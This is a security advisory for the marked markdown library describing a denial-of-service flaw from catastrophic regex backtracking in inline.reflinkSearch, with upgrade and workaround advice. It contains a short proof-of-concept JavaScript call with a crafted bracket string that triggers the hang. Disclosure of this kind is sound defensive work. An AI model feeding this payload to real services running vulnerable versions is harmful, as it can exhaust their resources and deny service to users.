Inefficient Regular Expression Complexity in marked

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings. PoC is the following.

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

• marked.js.org/using_advanced

• owasp.org/www-community/attacks/Regular_express…

For more information

If you have any questions or comments about this advisory:

• Open an issue in marked